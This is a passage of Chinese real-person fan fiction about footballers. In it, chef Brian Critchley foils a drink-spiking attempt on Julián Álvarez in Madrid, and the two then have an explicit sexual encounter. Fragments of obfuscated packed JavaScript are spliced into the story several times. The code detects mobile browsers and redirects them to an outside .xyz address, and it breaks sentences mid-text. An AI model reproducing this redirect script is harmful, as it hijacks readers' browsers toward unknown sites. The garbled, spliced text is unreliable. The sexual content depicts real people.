克里奇利只好笑着拿湿纸巾给他擦了,跟6岁小孩似的明明懂事还得让人哄着。 德容把他当daddy,亚马尔把他当mommy. 亚马尔才吃了几个星期他做的饭,就赖上他了,跟那个阿根廷小麋鹿差不多,年轻力壮,精力多的可怕,不同的是,小麋鹿碰壁后懂得收放自如,这匹小黑马却到处乱撞。 克里奇利只好温柔地警告他:“小朋友,你还是找同龄人玩去,哥哥我没耐心看孩子。” 亚马尔不乐意,还是勾着这位高大的后勤人员的肩膀,使着性子告诉他,“我早晚当队长,也在群里给你下任务,看你怎么拒绝我。” 巴萨的人似乎都这么烈性,特别是这个赛季有了德国人的指挥,似乎把进攻和传控做的更具工匠精神,瞧瞧这打法,简直是欧洲直塞天花板。 就这股劲儿,走到场外也是带着一股烈火余烬的味道,把原本传统又固定的餐饮文化给一把火烧了,破釜沉舟般解雇了旧主厨,聘请了英国厨神克里奇利,克里奇利一来就用他那跟玩一样的职业水准征服了一个又一个挑剔的嘴巴。 但是他还是不想承认,自己已经从曼城换了新东家了。曼城,回不去了。 他摇摇头轻啜了一口白兰地,啧了一声真难喝,有股马尿味儿。 接着巴萨就进球了! 亚马尔门前机会没有选择打门而是找到了快马赶来的莱万,后者推射攻入了库尔图瓦的大门。 oh yes !他握了握拳头,在心里不由自主地喊了一声好,就像他一以贯之的隐忍,这时候这地方更要忍,反正这种隐忍所展现的不知是爽还是痛苦。 又没人看他自己在这演戏,想想又觉得好笑,跟德容似的,戏精上身,不分时间场合乱开玩笑。 他在演戏,这里面有人真性情,竟然在莱万进球的时候跳起来了。 这一跳不要紧,立刻引来满场一片球迷的叫骂声。 克里奇利的目光也被那一小块的骚动给吸引,接着他就瞪圆了眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938009|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那个,那个不是阿尔瓦雷斯? 上个赛季还在曼城,而这个赛季已经转会去了马竞的小蜘蛛。 他盯着那个方向好像在确认是不是他熟人,虽然离得不远,但中间好几个人都站起来挡住了他的目光。 正当他起身走过去想要看个究竟时,那人已经离席不见了。 桌上只有他朋友在帮他平复投射过去的凶神恶煞的眼神和难听的叫骂。 这时,人群里忽然有人喊道:“又他爹的进球了!” “啊——!” “我日!!!” 只见莱万奔向角旗区,对着皇马的角旗做出了他的标志性庆祝动作,双手胸前对向击拳。 大家都在目不转睛地看回放,谁知道才两分钟莱万就梅开二度,打了皇马一个措手不及。 当大家的目光都被屏幕吸引的时候,克里奇利无意中看到了那桌的人伸开手掌覆盖在阿尔瓦雷斯的杯子上轻轻晃了晃,好像放了什么东西,因为白色的酒杯立刻涌上来一些细密的气泡,转而又不见了。 一种不好的预感从他心里萌生。 这时,阿尔瓦雷斯回来了,克里奇利看清了,一定不会认错,黑色自来卷梳的很板正,白皮俊俏的脸泛着年轻的光泽,还有一双深邃的墨色眸子,正笑盈盈地走到桌前坐下来。 他对面的朋友替他拿起了酒杯,好像说了一句什么又进球了之类的,引得阿尔瓦雷斯又高高举起了杯子。 接着就被这个朋友给压住了酒杯,并催他快喝别再庆祝了,再引起民愤就没法顺利脱身了。 克里奇利真的有种强烈的预感,这杯酒有问题。 虽然这么多狗血荒谬的剧情在他身上上演,他仍觉得好像有人推着他让他来不及思考,下意识地走上前去。 走到桌前正好有个壮汉经过,克里奇利主动撞了那人肩膀一下,接着顺势向后一歪,说了一句:“嘿,看着点。” 说话的同时,向后寻找支点的右手轻而易举地撞掉了阿尔瓦雷斯正贴近嘴边的酒杯。 酒杯掉在地上摔碎了,阿尔瓦雷斯没有喝到这杯酒。 被撞了一下还被警告的陌生人正要发火,阿尔瓦雷斯的朋友却暴跳如雷,他站起来一把抓住了克里奇利的领子。 克里奇利双手伸开,表示无意和他发生冲突。 那个陌生人看这架势吓了一跳,赶紧走开了。 阿尔瓦雷斯见此也心有蹊跷,至于吗。 他赶紧站起来化解这一场矛盾。 “巴尔克,no!” 克里奇利不动声色的看着面前这个因为一杯酒要打人的巴尔克,更加笃信自己的判断没有错,这家伙一定给阿尔瓦雷斯下了什么东西,现在没得逞迁怒于他。 这时阿尔瓦雷斯认出他来,大叫了一声,“Brian!” “嘿,胡利安!”克里奇利唇角上扬,发出一声好似惊讶的语调,“这么巧!” “你们认识?”巴尔克不解地来回看他们。 “我曼城的同事!”阿尔瓦雷斯对巴尔克说完,就伸手握住了克里奇利递过来的手,两人紧紧拥抱在一起。 61.第 61 章 这时人群出现骚动,有人大喊一声:“那人是胡利安阿尔瓦雷斯吧!” 接着满场喊起了阿尔瓦雷斯和马竞的呼声,胡利安双手捂住脸,在球迷致敬下,有点害羞又有点骄傲的对着热情奔放的马德里球迷招招手,然后拉着他两个朋友离开了这里。 “咱们换个地方吧!”阿尔瓦雷斯一手抓着一个,好像逃难的似的跑出去。 他的朋友巴尔克埋怨了一声,“我就说咱们在酒店里看球就好,你非要出来,马德里还有认不出你的?” 克里奇利听不懂也不说话。 胡利安也不搭腔,亮晶晶的黑眼珠四处张望,接着很有主意的挎着他们的胳膊走进了另一家小酒馆。 “我说,你就是来挑战你的知名度的。这都是球迷,一会把你围住了我可保护不了你啊。” 那个叫巴尔克的依旧不耐烦的嘟囔着,还用那双狭长的眼睛上下打量旁边这个沉默的男人,心想你怎么还跟着呢,这么不识趣。 克里奇利也不是非要跟他们掺和,但他灵敏的警觉性激起了他的保护欲,他想看看自己的判断有没有错,这个巴尔克到底想对阿尔瓦雷斯做什么。 说真的他和阿尔瓦雷斯不算熟,阿根廷人不爱说英语,又是个i人,一共没说过几句话。 他记得有一次和阿尔瓦雷斯还因为口音问题闹了笑话。 阿尔瓦雷斯看同事们都在点克里奇利做的小甜品,他也凑过去看了半天,克里奇利问e for food?他fortable。 克里奇利愣了半天,笑着给他一个草莓酸奶慕斯,阿尔瓦雷斯也愣了,接着两人尴尬的相视一笑,后面就基本没什么沟通了。 阿尔瓦雷斯不想主动和他不了解的英国本土大帅哥搭讪,因为他有点语言自卑,就连斯通斯这样的暖男绅士他都躲着走,只跟没边没沿儿的鲁本闹得不可开交。 因为葡萄牙语和西班牙语各说各的也能互通个几分。 格拉利什每次来点一份煎饺都带着害羞的小蜘蛛,克里奇利看他一眼,他就眼神躲闪无处安放,一点也不像场上擅长先声夺人好给门将出难题的活力四射的小白男。 后来因为种种原因越来越不爱说话了,但是了解他的人透露出他有在刻苦学英语。 英语学的差不多了,突然接到他乡故知发来的邀请,决定体验一把拿冠军有点系数难度的日子,看看自己是不是冠军体质,主要是一直被喊高估高估的,也想证明一下自己到底有没有被高估。 来了西班牙有老乡,语言又通,简直是如鱼得水,踢了几场进了几个。 但是生活里还是趋于平静,没什么意思,除了和德保罗小西蒙尼有事没事聚聚,其他圈子是一点没涉猎。 对于他这个年纪的,不欢闹怎么行,容易抑郁。 在曼城后期就自测抑郁了,总觉得自己干什么都不行,严重怀疑自己的实力,对瓜迪奥拉的建议是一点也听不进去,还总觉得是瓜迪奥拉看走了眼,他根本不是梅西接班人。 或许换换环境会好一点吧,他也没想那么多,一个人就做了决定。 谁知来到马竞无缝衔接一下子就找到了自信,原来他是会踢球的,好歹是河床出来的,怎么能轻易否定自己呢。 他对河床有着特殊的感情。 所以小师弟巴尔克来马竞谈判,他全程陪同,又带他玩了几天,打算今晚找个地儿看球喝酒放纵一下,结果碰见曼城老同事克里奇利,新鲜又怀旧的感觉一下子丰富了他许久都没敞开的心怀。 他说什么也要尽一下地主之谊,展现一下阿根廷人的热情,顺便考一考自己的英语六级。 “不介意一起吧,Brian?” “反正我也是一个人,还没找到野搭子。”克里奇利撇撇嘴,表示愿意与他同行。 阿尔瓦雷斯眨巴眨巴他纯洁的大眼睛,问了一句什么是“野搭子”? “哈哈,就是临时搭档,一起度过一个美妙夜晚的人。” “他说什么?”巴尔克急着插嘴。 “他说和我们一起喝酒去!”阿尔瓦雷斯搪塞他一句,接着热情的像个本地通一样带着他们继续走。 实际上他也不知道这些酒吧都是什么特点,这些酒吧一条街上的门头看着都差不多。 从他们刚刚接触到走进另一家酒吧找了个私密性好一点的角落坐下,巴尔克的眼睛就没从克里奇利的身上离开过。 但他英语不行,沟通不畅,只是一味警惕的看着他,好像在防着什么。 克里奇利也拿他那审判一样的目光回敬他。 一个20出头的毛头小子,染着一头黄毛,只有发梢是黄色的所以一看就知道,还剃了几道眉峰,脸部轮廓突兀,颧骨很高,眼窝和面颊深陷,整体看上去有些凶。 而且走路摇头晃脑,像个无所事事的街溜子。 克里奇利见的人太多了,形形色色的男人也有这种看着不着调的,但还算规矩,给人下猛料的还没碰到过。 况且他还是个球员,想靠阿尔瓦雷斯上位吗? 正当想着怎么揭穿今晚这家伙的阴谋,阿尔瓦雷斯就开了两瓶啤酒,递给他们一人一瓶,“为了今晚巴萨的胜利,干杯!” 克里奇利笑笑说,“真的是各为其主啊,今晚咱俩是好朋友,下次再遇到你就是敌人了呢。” 阿尔瓦雷斯也笑的很灿烂,胳膊肘怼了他一下,说,“我不介意和对手交朋友,因为你这个对手对我没杀伤力。” “是吗?”克里奇利淡淡一笑,眼尾扫了一眼阿尔瓦雷斯好似未经过世事的容颜,低声说,“那是你还不了解我。” 喝了点酒以后,三个人都有点微醺。 巴尔克黏着阿尔瓦雷斯不知在和他耳语什么,阿尔瓦雷斯只是一个劲儿的推开他,然后说,“不行,这样不好。” 这句话克里奇利是能听懂的,毕竟他家里有阿根廷小鹿狗,整天说哥你不要这个样子,谈个恋爱就跟世界末日一样,这样不好,要往前看。 他每次都很有理的回怼他,我都没教育过你一句,赶紧滚去上班。 所以西语他是不学,但不代表一点不懂。 阿尔瓦雷斯终于被说烦了,起身拉起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951277|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克里奇利的胳膊,在他耳边说了一句,“Brian,教我跳舞吧。” 克里奇利爽快地点点头。 他们在舞池里也没有跳起来,而是像喝醉了一样互相碰撞。 每次靠近,克里奇利都想问他,这个巴尔克到底什么来头,你和他很熟吗,他有什么需要你帮忙的吗。 但是他从来不好打听别人的事,有时候只是无意掺和,万一搞错了那就不好了,所以他只张了张嘴并没有说出些什么。 接着他看到巴尔克离开座位去了洗手间,他仍像个侦探似的放不下刚才那件事,于是对阿尔瓦雷斯说,“我离开一会,你自己没问题吧。” “嗯,去吧。我在座位等你。” 克里奇利去了洗手间,两人在洗手台再次碰面。 巴尔克依旧用好似试探的眼光打量他。 “怎么了,看我干嘛,心虚?”克里奇利一边洗手,一边语气冷漠地对着镜子里的巴尔克说道。 这句话巴尔克还是能听懂的,他斜着眼睛生气地说,“你少管闲事,hijo de puta.(跟son of bitch同义)” 刚才就动手揪他衣领子,现在又骂脏话,克里奇利就是脾气再好也不能忍受这粗鲁无礼的挑衅。 他反手抓住巴尔克的衣领,把一米八多的小痞子整个人拎起来,扔出去两米远,伴随着砰地一声后背撞在门板上的声音,巴尔克发出一声嚎叫。 二十出头的小年轻一点就着,他随即扑过来要和克里奇利掰扯掰扯。 结果又被克里奇利反手扭在门板上,顺便捏了捏他的衣服口袋,果不其然,捏到了一包类似干燥剂一样的东西。 “我看见了。”克里奇利尽量用他能听懂的英语慢条斯理地开口,“要拿出来吗?” “你……你……”巴尔克开始结巴,并死死捏住了自己的口袋。 “你放开我,我现在就走,别,别告诉胡利安,求你了。” “什么?开玩笑呢,我凭什么放过你。”克里奇利用了些力气,压住他的肩膀。 “我不过是想拜托他明天帮我说句话而已。” “说句话?”克里奇利听不太懂他的表达,但大致明白他的心思。 “我走还不行吗,你到底要压我到什么时候,哎呀!”肩关节扯痛的他呲牙咧嘴。 “哪来的回哪去,你这下三滥的玩意!”他终于松开钳制他的手。 克里奇利不想当好人也不想当坏人,教训他一下得了,但是自己既然遇到了这事,就该提醒胡利安,小心有人利用他。 巴尔克松了松肩膀,抬眼看了看这个温文尔雅连说话都温声温气的男人,没想到他竟然有这么大的力气,想还手的念头一下子低迷了,而且他也失去了叫板的底气。 他到底什么来头,以前在曼城干保镖的吗?看着也不像啊。巴尔克想不明白,他也没机会想明白,只好灰溜溜地逃掉。 克里奇利回去的时候,阿尔瓦雷斯已经准备结账。 当克里奇利准备解释为什么巴尔克没回来时,阿尔瓦雷斯却上前一步抱住了他。 62.第 62 章 他带着些许醉意实际上并没有喝多少酒,这足以成为比普通朋友多抱一会的理由。 他身高正好与克里奇利的喉结齐平,呼出的热气直往人衬衫领口里钻。 平时和队友抱抱只会抿起嘴巴,脸偏向一边,这次是直面胸怀,因为以前没抱过,没闻过这么好闻的味道,不是酸臭的汗液味儿,而是清冷的海盐薄荷味儿。 这个拥抱带着些许表达欲又充满了期待,然而克里奇利今晚有些木讷,刚解决了一个问号,这又来一个问号,在他印象里,阿尔瓦雷斯始终是个腼腆内向的哑巴小孩,怎么今天还有点神秘兮兮的。 所以,哑巴小孩并没有得到他想要的热忱回应。 “嗯,我们玩个游戏吧。”阿尔瓦雷斯松开手,眼睛闪烁地看着克里奇利的下巴,这个距离还能闻到他的香味。 “好啊。”克里奇利点点头,仍然好奇他怎么不问那个□□的小痞子去哪了。 “真心话大冒险怎么样。” “咱俩玩?” “嗯。害怕了?” “中学时,玩大冒险让我亲一个恐侗的丑八怪我都亲了,有什么害怕的,后来有一次玩真心话有人问我被报复过没,我说那个丑八怪整天对我穷追猛打,搞得我都郁闷了。” “哈哈哈,活该被打。”阿尔瓦雷斯笑话他。 克里奇利挑了挑眉,有些得意的继续说“他是真的追我,天天给我买饮料喝。” “噢——我才不信。”阿尔瓦雷斯笑他臭屁,又微微皱眉,好像想起了什么。 “来吧,就咱俩,剪刀包袱锤吧。” 第一局阿尔瓦雷斯就输了,一连玩了3把,他全输了。 克里奇利让他选,他都选了真心话。 克里奇利说,你要是想找人聊天就直接说,还非得通过输吗,这样不好不好,谁喜欢输啊,是不是。 克里奇利又不知道问什么,他们确实不太熟,怕冒犯了他,那就问问一般都会问的,他想说就说,不想说也没人难为他。 第一个问题问的是你谈了几次恋爱。 他回答3次。 第二个问题谈的男的还是女的。 他犹豫了一下,回答都有。 这让克里奇利感到有些惊喜,看来刚才那个意味深长的抱抱应该不只是朋友之间,他或许也在试探自己。 第三个问题你做过吗。 他脸红着向沙发后背倒去。 “好了,不说算了。喝酒。” “攻受皆可。”他本可以喝酒,却说了一句让克里奇利瞬间口干舌燥的话来。 接着,他就霸气的拢过克里奇利的脖子,凑近了些,在刚要嘴唇碰嘴唇的瞬间改为了贴面礼,但真的亲在了他的面颊上。 微凉,柔软,带着些许醉意,可爱又恶魔般的撩拨起那人本就蜂鸣阵阵的心弦。 “谢谢你,布莱恩。”玩到兴起他突然开口道谢。 “谢什么?”克里奇利不解地端详着他。 他把手机举到克里奇利面前,是一句西语,他只拼出了对不起,我走了,其他的没看懂。 “什么啊,我又不懂西语。” “你不是有个阿根廷弟弟吗,怎么还没学会西语。”阿尔瓦雷斯故作生气。 “我要是早知道来西班牙讨生活,早都学了,不过现在学也晚了。” “不要为你的懒惰找借口,我教你。”阿尔瓦雷斯和他碰了碰杯,说起了自己的一段往事。 “他其实是有些狂热的,我说巴尔克,他突然发短信说他走了,不要找他,没脸见我,我就都明白了。” “其实我们并不是偶然预见的吧,布莱恩,你是故意来捣乱的,那杯酒有问题,我还是太信任他了。” 克里奇利不知道怎么提醒他,这好,他自己悟出来了。 阿尔瓦雷斯本来也没喝多少,也就2瓶啤酒,之前的眼神迷离大部分是演的,他给克里奇利讲了以前的一些事。 巴尔克是他小师弟,以前青训时在一个宿舍住过,追过他,他没同意,于是也是像克里奇利讲的那个恐侗的丑八怪一样天天给他买好吃的好喝的,他都没要。 后来有一次,他得了流感,发着高烧还在训练,结果脸一白栽倒了,巴尔克那时长的就高大,背起他就去找队医,后来又嘘寒问暖了一段日子,他就勉强松了口,说那就从好朋友做起,但不许表现的太过亲密。 男孩子在外也要保护自己。 那时候阿尔瓦雷斯是情窦初开,可巴尔克已经混社会多年,他以为阿尔瓦雷斯同意了就是同意了做点什么。 于是他就半夜爬上了阿尔瓦雷斯的床,开始说自己白天训练太累怕掉下床去,趁机动手动脚,甚至急不可耐的压住了他的膝盖。 阿尔瓦雷斯吓坏了,一脚踢到他大腿内侧,把他给踢了个仰八叉。 巴尔克瞬间就变脸,恶狠狠地看着他,“你不是同意了吗,这不是正常的事儿吗?” “同意什么?我只是同意和你做朋友而已,就算是情侣,你也不能想怎样就怎样。” 两人好长一段时间不说话,后来阿尔瓦雷斯当上了队长,巴尔克又来认错说自己一时冲动,以后不会那样了,求他原谅自己。 阿尔瓦雷斯那时候比较青涩,踢球比他好,对兄弟朋友还是恋人这种感情还是有些模糊,毕竟才15、6岁。 巴尔克获得了原谅依旧不满足,他从阿尔瓦雷斯这里尝不到什么甜头不代表他不从别的地方找乐子。 他喜欢队长,队长也喜欢他,这就够了。 其他队员们知道他俩关系好,对他也言听计从,这就够他耍威风了。 他和社会上的小青年来来往往,结果在阿尔瓦雷斯回家期间把人带到宿舍里来,不巧阿尔瓦雷斯提前回来抓了个现行。 初恋总是美好而充满遗憾,可这根本算不上初恋,阿尔瓦雷斯终于明白巴尔克只是在利用他。 果不其然,过了一段时间巴尔克又回来跪在他面前求原谅。 吵得他直接搬到了隔壁恩佐费尔南德斯的宿舍。 结果巴尔克不乐意了,踢球处处针对恩佐费尔南德斯,以为是他抢了自己的队长男朋友,背后撞人下黑脚不说还纠集外面小混混趁放假外出堵恩佐,结果堵到阿尔瓦雷斯和恩佐一起逛街。 巴尔克不甘心,上前拽住阿尔瓦雷斯的衣服,求他原谅自己,口吻却咄咄逼人,他说:“你该不会这么快就变心了吧,是不是早就和他好上了。” 恩佐听了瞳孔暗了暗,咬肌微动,一把扯过阿尔瓦雷斯,刚要骂他你算个鸟啊,阿尔瓦雷斯就搂住恩佐的脖子,对巴尔克冷笑一声,“对,恩佐就是我的好朋友,比你好的那种,以后你再叫人来恐吓我们我就告诉教练,你去混社会就好,不用来踢球了。” 巴尔克败犬一样灰溜溜的夹着尾巴走了,就像今天一样。 “对不起。”阿尔瓦雷斯对恩佐道歉,“他利用我的感情,我也……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他刚想笑着说算了不过是个玩笑,就被眼前高大男人的阴影笼罩,接着脖子一热就被他掌心覆着,指节收拢像握住一个酒瓶,没有浪漫的一点点逼近,也没有过度的眼神拉扯,让他看了一晚上的性感双唇就这么直接的印了过来。 唇齿之间,除了啤酒的麦香,那股清冽的海盐薄荷味儿直入阿尔瓦雷斯的鼻腔,颈侧的掌控让他无法改变姿势,还被他用大拇指顶起了下巴,将这个吻变得深入且极具碾压。 太他妈会了!不愧是顶A! 阿尔瓦雷斯被吻的头脑发懵,一时间忘了怎么回应。 结果被吻的更深更透,像是要把他舌头给卷过来吞了。 这时嗡嗡响了几声。 克里奇利手机来消息了。 本来他不想理,这小蜘蛛也太香了,他说他做过并且攻受皆可然而亲起来一点都不像,他害羞僵硬的很,吻技相当生涩。 可手机没完没了的震动,把阿尔瓦雷斯给惊扰了。 “你手机。”他指了指桌面。 克里奇利只好拿起来看,消息一个一个的蹦出来。 “我们4-0赢了!明天马德里一日游走起!”消息是助教恩斯里发的,接着他又收到了数条单线消息。 德容:“我们赢了!你去哪了?我的番茄意面在哪里?” 莱万:“看到哥进的那俩球了吗,就问你帅不帅!” 德容:“快点出现!别人做的我不吃!” 佩德里:“我饮料呢?不会又给德容喝了吧??” …… 他不在,后厨一团乱麻,因为这帮球星只认他。 63.第 63 章 “去照顾你那些嗷嗷待哺的巴萨宝宝们吧?”阿尔瓦雷斯被亲的有些凌乱,匆忙说着违心的话。 “难道你就不需要投喂吗?”克里奇利垂下眉眼,一边把手机调静音,一边向他的身体倾斜过去。 缩向角落的人已被他急促掠夺的湿吻给点燃,这时候你叫他怎么冷却。 再说,要是那边搞不定他也不会轻易翘班。 他都准备好了,一会不吃饿不死,快饿死了会吃的。 克里奇利把他逼退在长椅和墙面形成的角落,单用一只手就…… 很快,阿尔瓦雷斯都没想到竟然这么快。 快到他不可思议的看着眼前这个危险分子,玩游戏之前他还清冷的像一尊佛,现在却用颠大勺的手狠狠满足了他。 这会,他不出声了。 他把脸扭到一边,不给人看,偷偷从桌上抽了几张纸,克里奇利知道那不是用来擦眼泪的。 “是你让我亲你的。”克里奇利不要脸的本性露出来了,他也觉得很爽,说自己攻受皆可还主动索吻的可爱小蜘蛛竟然这么不经逗,有理由怀疑他根本就是个没经验的雏鸟。 “我让你亲,又没让你…” “不爽吗?”克里奇利手掌放在他大腿上,指尖像敲键盘一样轻轻点了点。 “……”除了咬住嘴唇,他也回答不出来,他不想说谎,刚才让他回巴萨那边就已经说谎了,说谎心里会不得劲。 “不爽的话再试试别的?” “别以为你比我大几岁就想当然的认为我是个可以被随意拿捏的bottom。” “哈哈哈,我必须承认你是个能攻能守能射门的全能型前锋,但是在我这,你需要学的太多了,首先,你要学会慢一点,忍住了。” “shit,你能忍给我忍个试试!”阿尔瓦雷斯一反乖巧的常态,突然袭击正在忍受煎熬却口出狂言的家伙。 结果手腕又被颠大勺的手给牢牢握住。 “走吧,带你吃夜宵,吃饱了才有力气。”克里奇利看了看时间,这个点巴萨的宝宝们也应该都吃饱了,没有短信轰炸他的了。 “不吃,回去。”阿尔瓦雷斯偷偷调整了一下让他不太舒服的裤子拉链。 “嗯?不饿吗?”克里奇利把手指插进他的手指里,重重的握了握,像处了很久的男朋友,再哄另一个想减肥又拒绝不了美食诱惑的男朋友。 “回去…吃。”他也用力回握了一下,“我想吃你做的虾仁炒饭。” “占我便宜,我今天都收工了。”克里奇利口是心非的回答,心里早就乐开了花。 往回走的路上,气氛有些沉默,因为阿尔瓦雷斯知道接下来要做什么,一直紧张的手心冒汗,不过是one night而已,没什么大不了的,也就是阴差阳错的在马德里遇见,要是他们还在曼城,说不定早就看对眼了。 不过那时候都干嘛去了,他想,怎么没早点体验这个有些粗粝却恰到好处的手掌所带来的震撼。 让他更为震撼的是脱了衣服把他勾在怀里一顿猛亲的怪兽,他怎么力气这么大,快把自己亲散架了。 “我说小狐狸,你要这样吻我,懂了吗?” “小狐狸?” “嗯,胡利用中文讲就是狐狸的发音。” “你怎么什么都会,连中文也…呜…” 眼前这个高大挺阔的男人,带着侵袭和熟稔的感觉,一边陪他说着话一边做着画风凛冽的事。 阿尔瓦雷斯早上睁开眼,看到浴室里的克里奇利还没走,他有点不想让他走。 开门进了浴室。 还没洗热水澡就透着红润光泽的脸颊让克里奇利感受到年轻人的冲击。 这一宿教会了他太多东西,他兴趣很高,学习努力,懂得学以致用还会加倍奉还。 而且这一宿他还试图反攻,好几次都用他那粗壮的大腿去别克里奇利的腰。 克里奇利严厉的制止他,他还委屈的不肯下去,说着你刚才就是这么别我的,让我试试呗。 “没有人可以试我。”克里奇利呼啦他的卷毛,掰过他肩膀,堵住他的嘴,不让他反驳自己。 没有人,那个家伙不是人,是雄狮。 让人敬仰并心甘情愿的臣服在他的爪子底下。 除了他,任何小动物都是要被端上桌的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958232|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小蜘蛛不像蜘蛛那么可怕,有肉又饱满,还没什么毛,一根腿就能嗦很久,比帝王蟹的肉都多,一口下去鲜甜多汁谁懂啊! 浴室不大,两人站在喷头下面,都想要冲水以至于挨挨挤挤的各种碰撞。 碰来碰去就又激起了年轻人过度活跃的神经。 “你20几?”克里奇利低着头感到有点腰疼。 “24。” “赶紧处个对象吧。” “为什么?” “攒太久对身体不好,对临时cp也不友好。” “哈哈哈…要不你别太辛苦,转过去。” 克里奇利皱眉,让身位吗?他才不肯承认自己廉颇老矣。 “想什么呢,给你搓搓后背的泡沫。” 克里奇利笑笑,转了过去。 身后每一块肌肉都被小蜘蛛打上了泡沫揉搓了很久。 晒成小麦色不容易,他突然被洗烦了,转过来抓住他满是泡沫的手,把他压在身后的玻璃门上。 雾气弥漫的玻璃上印上了两双手印。 * “就这么睡一上午吧。” 克里奇利躺在他家柔软的大床上,已经筋疲力尽。 突然想起今天巴萨组织马德里一日游。 他不在酒店,算了,还是别去跟他们汇合了,一见到那帮大小伙子,一准被问昨晚怎么翘班了。 那个金发小脑袋里整天想着怎么霸占他,要是跟他说出去打猎了,他会利用队长特权,在群里给自己禁言,然后疯狂吐槽厨师长不镇住后厨到处乱跑,害大家没法点餐,只能吃提前备好的。 这种事也不经常发生,但会让克里奇利感到被领导约束的不爽感。 这要是让他知道和马竞的人有一夜,他那好胜心还不得和马竞的人比比谁更有活力。 “不如你睡够了,我带你在马德里转转好不好?” 阿尔瓦雷斯趴在他身上,慵懒的在他胸肌上画圈圈。 “也好,在你家呆一天可能比出去转一天更累,我还得给你做饭。来吧,给你炒饭吃。昨晚,心急的你都没吃上一口。” “你很美味呀!” 64.第 64 章 克里奇利和胡利安去了美术馆,巴萨队员也去了美术馆。巴萨是早去的,他们在不同的厅里,转来转去始终没遇上。 充满艺术气息的画作吸引着众人,他们看上去都想买一副名画搬回自己的豪宅,让自己看上去像个文人而不是糙汉。 懒得听讲解又不想买画的德容走着走着就掉队了,这时他突然看到分厅的一个熟悉的身影,高大挺拔,穿着一身灰色的西装,人模狗样的低着头看橱窗里的画,越看越像。 他突然跳出来猛的拍了那人的后腰,接着像在训练场一样跳着搂住了他的脖子,甜甜的叫了一声布莱恩。 克里奇利被吓了一跳,这个地方怎么还能有人闹他,舒缓的音乐和琳琅满目的画作让人心情舒缓,和有人狂奔到场边庆祝进球那是截然不同的心境。 他转过来时发现是德容时也就不怪他了,谁能跟顽皮任性的小金丝猴生气呢。 而德容这时候也看到了被他挡住的阿尔瓦雷斯。 德容的笑容凝固在脸上,大脑一时没转过弯来,刚要说你小子昨晚去哪了,但好像答案就在眼前。 他嘴巴动了动硬是没叫出那个人的名字。 不是不想打招呼,是一时懵住了没想起来,倒是害羞内向的阿尔瓦雷斯先喊出了他的名字,弗朗基德容! 德容的笑容渐渐消失了,但礼貌的手不得不伸了过去。他说,“嗨!胡利安阿尔瓦雷斯!”他还不至于迟钝到不认识马竞新引援的大满贯选手。 虽然这个赛季还没交手,以前也遇到过几次,都这么显眼,谁不认识谁呀! “既然你们认识,我就不过多介绍了。”克里奇利跟个局外人一样摊摊手,两个人看了他一眼握着的手好像突然被电了一下,迅速分开了。 德容接着板起脸来对克里奇利训斥道:“不参加集体活动到处乱跑你当马德里是家呢?” 胡林安心想,克里奇利在曼城都没有人敢训他,这可好,来巴萨还得受人白眼,于是他拉着克里奇利的胳膊说,你在巴萨不也是住酒店吗? “大丈夫四海为家。”克里奇利不怕事大的和小蜘蛛一唱一和给德容闹了个大红脸。 德容被怼感觉很不开心,他看着阿尔瓦雷斯的眼神,也觉得他们关系不一般,可能刚才看了太多人体艺术画作,甚至还脑补了他们的稞体动图。 算了,给他个面子,趁大部队还没有发现他和马竞的人鬼混在一起,先放他一马,不然下次打马竞赛前被开会一准是他。 愉快的马德里之旅结束了,可有人不太愉快。 等克里奇利回去了,给他“开会”的没有别人,只有德容一个人。 德容先是在群里说既然大家都是巴萨的人,就该把巴萨当成家,不要吃着碗里的看着锅里的! 大家都回复收到,克里奇利心想我又不是你的队员,我只是“巴萨一家人”里的后勤人员,还用不着200多人都回复收到吧。 但这句话明显是点他,算了,给小队长一个面子,代表餐厅回复一个又不会怎样。 他抱着肩膀在分餐口那里正在犹豫,这时耐不住性子的德容已经站在他面前。 德容拿着盘子质问他,“炒饭里怎么没有鱼子酱?不好吃。” 克里奇说好,那我给你换一份,他说你换的倒挺快的。 换了一份餐之后,莱万走过来对厨子说,一会儿健身去吧,厨子爽快的答应好啊。 接着回去换了衣服健身去了,气的德容只能干瞪眼。 小队长生气了,这几天都没有个笑容,搞得大家都胆战心惊的,有的时候犯错了,直接被他训的面红耳赤,连教练都纳闷了,德容最近怎么了?以前从不爱得罪人的,现在把我那份得罪人的活给抢了?妙哉。 